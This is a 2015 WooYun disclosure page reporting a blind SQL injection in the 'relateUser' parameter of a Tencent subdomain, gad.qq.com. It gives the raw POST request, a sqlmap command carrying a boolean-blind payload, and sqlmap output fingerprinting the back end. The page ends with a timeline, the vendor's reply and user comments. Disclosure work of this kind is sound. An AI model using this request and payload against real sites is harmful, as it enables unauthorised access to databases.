腾讯某分站SQL注射

编号123831
Urlhttp://www.wooyun.org/bug.php?action=view&id=123831
漏洞状态厂商已经确认
漏洞标题腾讯某分站SQL注射
漏洞类型SQL注射漏洞
厂商腾讯
白帽子Jannock
提交日期2015-07-01 07:33:00
公开日期2015-08-15 14:54:00
修复时间(not set)
确认时间2015-07-01 00:00:00
Confirm Spend0
漏洞标签php+数字类型注射
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank10
漏洞简介
腾讯某分站SQL注射 ,盲注。
漏洞细节

POST /user/delcontent? HTTP/1.1
Host: gad.qq.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: cookie
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
id=8&relateUser=243&showType=1
relateUser 参数存在SQL注入。

POC

1.png


2.png


python sqlmap.py -u "http://localhost/1.php?s=24397" -p s --prefix "24397 and 1=(case when(1=1" --suffix ") then 1 e
lse (select 1 union select 2) end)" --technique=B --dbms=mysql
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150403}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:52:31
[23:52:31] [INFO] testing connection to the target URL
[23:52:31] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[23:52:32] [INFO] target URL is stable
[23:53:02] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request
[23:53:33] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request
[23:53:47] [WARNING] heuristic (basic) test shows that GET parameter 's' might n
ot be injectable
[23:53:52] [INFO] testing for SQL injection on GET parameter 's'
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] n
[23:53:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:54:15] [INFO] GET parameter 's' seems to be 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[23:54:15] [INFO] checking if the injection point on GET parameter 's' is a fals
e positive
[23:54:35] [WARNING] it appears that the character '>' is filtered by the back-e
nd server. You are strongly advised to rerun with the '--tamper=between'
GET parameter 's' is vulnerable. Do you want to keep testing the others (if any)
? [y/N] n
sqlmap identified the following injection points with a total of 10 HTTP(s) requ
ests:
---
Parameter: s (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: s=24397 and 1=(case when(1=1 AND 8352=8352) then 1 else (select 1 u
nion select 2) end)
---
[23:54:38] [INFO] testing MySQL
[23:54:44] [INFO] confirming MySQL
[23:55:14] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request
[23:56:02] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request
[23:56:05] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.0.63, PHP 5.2.14
back-end DBMS: MySQL >= 5.0.2

修复方案

过滤

状态信息 2015-07-01: 细节已通知厂商并且等待厂商处理中
2015-07-01: 厂商已经确认,细节仅向厂商公开
2015-07-11: 细节向核心白帽子及相关领域专家公开
2015-07-21: 细节向普通白帽子公开
2015-07-31: 细节向实习白帽子公开
2015-08-15: 细节向公众公开
厂商回复非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。
回应信息危害等级:中漏洞Rank:10 确认时间:2015-07-01 14:53
Showing 1-10 of 10 items.
评论内容评论人点赞数评论时间

厂商在求爆吗?

dami02015-08-22 11:11:00

@盛大网络 然而事实是盛大不在一哥的监控列表内

魂淡、02015-07-10 20:25:00

@盛大网络 可能是没挑战,或者基本不用盛大产品

itleaf02015-07-02 23:57:00

@盛大网络 厂商也欢乐

老曹哥哥02015-07-02 17:23:00

@盛大网络 坐等被爆菊

小人物Reno02015-07-01 22:30:00

@盛大网络 明天一哥就上了你

qhwlpg02015-07-01 22:05:00

@盛大网络 此时一哥正看着你这句话,缓缓一笑

90Snake02015-07-01 20:05:00

@盛大网络 明明就是你的最多

term02015-07-01 17:42:00

怎么感觉腾讯的sql注入比我们的还多

盛大网络02015-07-01 17:17:00

额,一哥又来刷了 http://www.wooyun.org/bugs/wooyun-2015-0123526/trace/304eb21b5a77f36aee296c86ea2dc197 求审核 @疯狗

hh201402015-07-01 14:56:00